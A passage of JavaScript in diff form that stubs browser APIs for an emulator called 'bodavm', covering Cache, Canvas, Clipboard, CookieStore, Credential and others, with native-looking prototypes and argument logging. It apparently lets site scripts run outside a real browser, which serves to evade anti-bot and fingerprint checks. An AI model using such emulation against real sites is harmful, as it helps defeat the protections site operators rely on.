bodavm.memory.globalobj['ByteLengthQueuingStrategy'].prototype, "ByteLengthQueuingStrategy", "highWaterMark_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ByteLengthQueuingStrategy', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ByteLengthQueuingStrategy'].prototype, "ByteLengthQueuingStrategy", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +// Cache对象 + +bodavm.memory.globalobj['Cache'] = function Cache() { + console.log_copy('Cache 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Cache)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Cache'], "Cache"); +bodavm.toolsFunc.defineProperty('Cache', "add", { + configurable: true, + enumerable: true, + writable: true, + value: function add() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "add", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Cache', "addAll", { + configurable: true, + enumerable: true, + writable: true, + value: function addAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "addAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Cache', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Cache', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Cache', "match", { + configurable: true, + enumerable: true, + writable: true, + value: function match() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "match", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Cache', "matchAll", { + configurable: true, + enumerable: true, + writable: true, + value: function matchAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "matchAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Cache', "put", { + configurable: true, + enumerable: true, + writable: true, + value: function put() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "put", arguments); + } +}, 'prototype'); +// caches对象 + +bodavm.memory.globalobj['caches'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['caches'].__proto__ = bodavm.memory.globalobj['CacheStorage'].prototype; +// cancelAnimationFrame对象 + +bodavm.memory.globalobj['cancelAnimationFrame'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('cancelAnimationFrame', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('cancelAnimationFrame', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "cancelAnimationFrame" +}); +// cancelIdleCallback对象 + +bodavm.memory.globalobj['cancelIdleCallback'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('cancelIdleCallback', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('cancelIdleCallback', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "cancelIdleCallback" +}); +// CanvasCaptureMediaStreamTrack对象 + +bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'] = function CanvasCaptureMediaStreamTrack() { + console.log_copy('CanvasCaptureMediaStreamTrack 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CanvasCaptureMediaStreamTrack)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'], "CanvasCaptureMediaStreamTrack"); +bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'].prototype.__proto__ = bodavm.memory.globalobj['MediaStreamTrack'].prototype; +bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'].__proto__ = bodavm.memory.globalobj['MediaStreamTrack']; +bodavm.toolsFunc.defineProperty('CanvasCaptureMediaStreamTrack', "canvas", { + configurable: true, + enumerable: true, + get: function canvas() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'].prototype, "CanvasCaptureMediaStreamTrack", "canvas_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasCaptureMediaStreamTrack', "requestFrame", { + configurable: true, + enumerable: true, + writable: true, + value: function requestFrame() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'].prototype, "CanvasCaptureMediaStreamTrack", "requestFrame", arguments); + } +}, 'prototype'); +// CanvasFilter对象 + +bodavm.memory.globalobj['CanvasFilter'] = function CanvasFilter() { + console.log_copy('CanvasFilter 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CanvasFilter)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CanvasFilter': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CanvasFilter'], "CanvasFilter"); +// CanvasGradient对象 + +bodavm.memory.globalobj['CanvasGradient'] = function CanvasGradient() { + console.log_copy('CanvasGradient 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CanvasGradient)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CanvasGradient'], "CanvasGradient"); +bodavm.toolsFunc.defineProperty('CanvasGradient', "addColorStop", { + configurable: true, + enumerable: true, + writable: true, + value: function addColorStop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasGradient'].prototype, "CanvasGradient", "addColorStop", arguments); + } +}, 'prototype'); +// CanvasPattern对象 + +bodavm.memory.globalobj['CanvasPattern'] = function CanvasPattern() { + console.log_copy('CanvasPattern 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CanvasPattern)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CanvasPattern'], "CanvasPattern"); +bodavm.toolsFunc.defineProperty('CanvasPattern', "setTransform", { + configurable: true, + enumerable: true, + writable: true, + value: function setTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasPattern'].prototype, "CanvasPattern", "setTransform", arguments); + } +}, 'prototype'); +// CaptureController对象 + +bodavm.memory.globalobj['CaptureController'] = function CaptureController() { + console.log_copy('CaptureController 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.CaptureController(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CaptureController'], "CaptureController"); +bodavm.toolsFunc.defineProperty('CaptureController', "setFocusBehavior", { + configurable: true, + enumerable: true, + writable: true, + value: function setFocusBehavior() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CaptureController'].prototype, "CaptureController", "setFocusBehavior", arguments); + } +}, 'prototype'); +// captureEvents对象 + +bodavm.memory.globalobj['captureEvents'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('captureEvents', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('captureEvents', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "captureEvents" +}); +// ChannelMergerNode对象 + +bodavm.memory.globalobj['ChannelMergerNode'] = function ChannelMergerNode() { + console.log_copy('ChannelMergerNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ChannelMergerNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ChannelMergerNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ChannelMergerNode'], "ChannelMergerNode"); +bodavm.memory.globalobj['ChannelMergerNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['ChannelMergerNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +// ChannelSplitterNode对象 + +bodavm.memory.globalobj['ChannelSplitterNode'] = function ChannelSplitterNode() { + console.log_copy('ChannelSplitterNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ChannelSplitterNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ChannelSplitterNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ChannelSplitterNode'], "ChannelSplitterNode"); +bodavm.memory.globalobj['ChannelSplitterNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['ChannelSplitterNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +// clearInterval对象 + +bodavm.memory.globalobj['clearInterval'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('clearInterval', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('clearInterval', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "clearInterval" +}); +// clearTimeout对象 + +bodavm.memory.globalobj['clearTimeout'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('clearTimeout', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('clearTimeout', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "clearTimeout" +}); +// clientInformation对象 + +bodavm.memory.globalobj['clientInformation'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['clientInformation'].__proto__ = bodavm.memory.globalobj['Navigator'].prototype; +// Clipboard对象 + +bodavm.memory.globalobj['Clipboard'] = function Clipboard() { + console.log_copy('Clipboard 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Clipboard)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Clipboard'], "Clipboard"); +bodavm.memory.globalobj['Clipboard'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Clipboard'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Clipboard', "read", { + configurable: true, + enumerable: true, + writable: true, + value: function read() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Clipboard'].prototype, "Clipboard", "read", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Clipboard', "readText", { + configurable: true, + enumerable: true, + writable: true, + value: function readText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Clipboard'].prototype, "Clipboard", "readText", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Clipboard', "write", { + configurable: true, + enumerable: true, + writable: true, + value: function write() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Clipboard'].prototype, "Clipboard", "write", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Clipboard', "writeText", { + configurable: true, + enumerable: true, + writable: true, + value: function writeText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Clipboard'].prototype, "Clipboard", "writeText", arguments); + } +}, 'prototype'); +// ClipboardEvent对象 + +bodavm.memory.globalobj['ClipboardEvent'] = function ClipboardEvent() { + console.log_copy('ClipboardEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ClipboardEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ClipboardEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ClipboardEvent'], "ClipboardEvent"); +bodavm.memory.globalobj['ClipboardEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['ClipboardEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('ClipboardEvent', "clipboardData", { + configurable: true, + enumerable: true, + get: function clipboardData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ClipboardEvent'].prototype, "ClipboardEvent", "clipboardData_get", arguments); + }, + set: undefined +}, 'prototype'); +// ClipboardItem对象 + +bodavm.memory.globalobj['ClipboardItem'] = function ClipboardItem() { + console.log_copy('ClipboardItem 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ClipboardItem)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ClipboardItem': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ClipboardItem'], "ClipboardItem"); +bodavm.toolsFunc.defineProperty('ClipboardItem', "types", { + configurable: true, + enumerable: true, + get: function types() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ClipboardItem'].prototype, "ClipboardItem", "types_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ClipboardItem', "getType", { + configurable: true, + enumerable: true, + writable: true, + value: function getType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ClipboardItem'].prototype, "ClipboardItem", "getType", arguments); + } +}, 'prototype'); +// close对象 + +bodavm.memory.globalobj['close'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('close', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('close', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "close" +}); +// closed对象 + +bodavm.memory.globalobj['closed'] = { + _boisinit: bodavm.config.isinit +}; +// CompositionEvent对象 + +bodavm.memory.globalobj['CompositionEvent'] = function CompositionEvent() { + console.log_copy('CompositionEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CompositionEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CompositionEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CompositionEvent'], "CompositionEvent"); +bodavm.memory.globalobj['CompositionEvent'].prototype.__proto__ = bodavm.memory.globalobj['UIEvent'].prototype; +bodavm.memory.globalobj['CompositionEvent'].__proto__ = bodavm.memory.globalobj['UIEvent']; +bodavm.toolsFunc.defineProperty('CompositionEvent', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CompositionEvent'].prototype, "CompositionEvent", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CompositionEvent', "initCompositionEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function initCompositionEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CompositionEvent'].prototype, "CompositionEvent", "initCompositionEvent", arguments); + } +}, 'prototype'); +// CompressionStream对象 + +bodavm.memory.globalobj['CompressionStream'] = function CompressionStream() { + console.log_copy('CompressionStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CompressionStream)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CompressionStream': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CompressionStream'], "CompressionStream"); +bodavm.toolsFunc.defineProperty('CompressionStream', "readable", { + configurable: true, + enumerable: true, + get: function readable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CompressionStream'].prototype, "CompressionStream", "readable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CompressionStream', "writable", { + configurable: true, + enumerable: true, + get: function writable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CompressionStream'].prototype, "CompressionStream", "writable_get", arguments); + }, + set: undefined +}, 'prototype'); +// confirm对象 + +bodavm.memory.globalobj['confirm'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('confirm', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('confirm', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "confirm" +}); +// ConstantSourceNode对象 + +bodavm.memory.globalobj['ConstantSourceNode'] = function ConstantSourceNode() { + console.log_copy('ConstantSourceNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ConstantSourceNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ConstantSourceNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ConstantSourceNode'], "ConstantSourceNode"); +bodavm.memory.globalobj['ConstantSourceNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype; +bodavm.memory.globalobj['ConstantSourceNode'].__proto__ = bodavm.memory.globalobj['AudioScheduledSourceNode']; +bodavm.toolsFunc.defineProperty('ConstantSourceNode', "offset", { + configurable: true, + enumerable: true, + get: function offset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ConstantSourceNode'].prototype, "ConstantSourceNode", "offset_get", arguments); + }, + set: undefined +}, 'prototype'); +// ContentVisibilityAutoStateChangeEvent对象 + +bodavm.memory.globalobj['ContentVisibilityAutoStateChangeEvent'] = function ContentVisibilityAutoStateChangeEvent() { + console.log_copy('ContentVisibilityAutoStateChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ContentVisibilityAutoStateChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ContentVisibilityAutoStateChangeEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ContentVisibilityAutoStateChangeEvent'], "ContentVisibilityAutoStateChangeEvent"); +bodavm.memory.globalobj['ContentVisibilityAutoStateChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['ContentVisibilityAutoStateChangeEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('ContentVisibilityAutoStateChangeEvent', "skipped", { + configurable: true, + enumerable: true, + get: function skipped() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ContentVisibilityAutoStateChangeEvent'].prototype, "ContentVisibilityAutoStateChangeEvent", "skipped_get", arguments); + }, + set: undefined +}, 'prototype'); +// ConvolverNode对象 + +bodavm.memory.globalobj['ConvolverNode'] = function ConvolverNode() { + console.log_copy('ConvolverNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ConvolverNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ConvolverNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ConvolverNode'], "ConvolverNode"); +bodavm.memory.globalobj['ConvolverNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['ConvolverNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('ConvolverNode', "buffer", { + configurable: true, + enumerable: true, + get: function buffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ConvolverNode'].prototype, "ConvolverNode", "buffer_get", arguments); + }, + set: function buffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ConvolverNode'].prototype, "ConvolverNode", "buffer_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ConvolverNode', "normalize", { + configurable: true, + enumerable: true, + get: function normalize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ConvolverNode'].prototype, "ConvolverNode", "normalize_get", arguments); + }, + set: function normalize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ConvolverNode'].prototype, "ConvolverNode", "normalize_set", arguments); + } +}, 'prototype'); +// CookieChangeEvent对象 + +bodavm.memory.globalobj['CookieChangeEvent'] = function CookieChangeEvent() { + console.log_copy('CookieChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CookieChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CookieChangeEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CookieChangeEvent'], "CookieChangeEvent"); +bodavm.memory.globalobj['CookieChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['CookieChangeEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('CookieChangeEvent', "changed", { + configurable: true, + enumerable: true, + get: function changed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieChangeEvent'].prototype, "CookieChangeEvent", "changed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CookieChangeEvent', "deleted", { + configurable: true, + enumerable: true, + get: function deleted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieChangeEvent'].prototype, "CookieChangeEvent", "deleted_get", arguments); + }, + set: undefined +}, 'prototype'); +// CookieStore对象 + +bodavm.memory.globalobj['CookieStore'] = function CookieStore() { + console.log_copy('CookieStore 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CookieStore)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CookieStore'], "CookieStore"); +bodavm.memory.globalobj['CookieStore'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['CookieStore'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('CookieStore', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CookieStore', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CookieStore', "getAll", { + configurable: true, + enumerable: true, + writable: true, + value: function getAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "getAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CookieStore', "set", { + configurable: true, + enumerable: true, + writable: true, + value: function set() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CookieStore', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "onchange_set", arguments); + } +}, 'prototype'); + +// cookieStore对象 + +bodavm.memory.globalobj['cookieStore'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['cookieStore'].__proto__ = bodavm.memory.globalobj['CookieStore'].prototype; +// CookieStoreManager对象 + +bodavm.memory.globalobj['CookieStoreManager'] = function CookieStoreManager() { + console.log_copy('CookieStoreManager 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CookieStoreManager)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CookieStoreManager'], "CookieStoreManager"); +bodavm.toolsFunc.defineProperty('CookieStoreManager', "getSubscriptions", { + configurable: true, + enumerable: true, + writable: true, + value: function getSubscriptions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStoreManager'].prototype, "CookieStoreManager", "getSubscriptions", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CookieStoreManager', "subscribe", { + configurable: true, + enumerable: true, + writable: true, + value: function subscribe() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStoreManager'].prototype, "CookieStoreManager", "subscribe", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CookieStoreManager', "unsubscribe", { + configurable: true, + enumerable: true, + writable: true, + value: function unsubscribe() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStoreManager'].prototype, "CookieStoreManager", "unsubscribe", arguments); + } +}, 'prototype'); +// CountQueuingStrategy对象 + +bodavm.memory.globalobj['CountQueuingStrategy'] = function CountQueuingStrategy() { + console.log_copy('CountQueuingStrategy 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CountQueuingStrategy)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CountQueuingStrategy': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CountQueuingStrategy'], "CountQueuingStrategy"); +bodavm.toolsFunc.defineProperty('CountQueuingStrategy', "highWaterMark", { + configurable: true, + enumerable: true, + get: function highWaterMark() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CountQueuingStrategy'].prototype, "CountQueuingStrategy", "highWaterMark_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CountQueuingStrategy', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CountQueuingStrategy'].prototype, "CountQueuingStrategy", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +// createImageBitmap对象 + +bodavm.memory.globalobj['createImageBitmap'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('createImageBitmap', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('createImageBitmap', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "createImageBitmap" +}); +// Credential对象 + +bodavm.memory.globalobj['Credential'] = function Credential() { + console.log_copy('Credential 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Credential)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Credential'], "Credential"); +bodavm.toolsFunc.defineProperty('Credential', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Credential'].prototype, "Credential", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Credential', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Credential'].prototype, "Credential", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +// credentialless对象 + 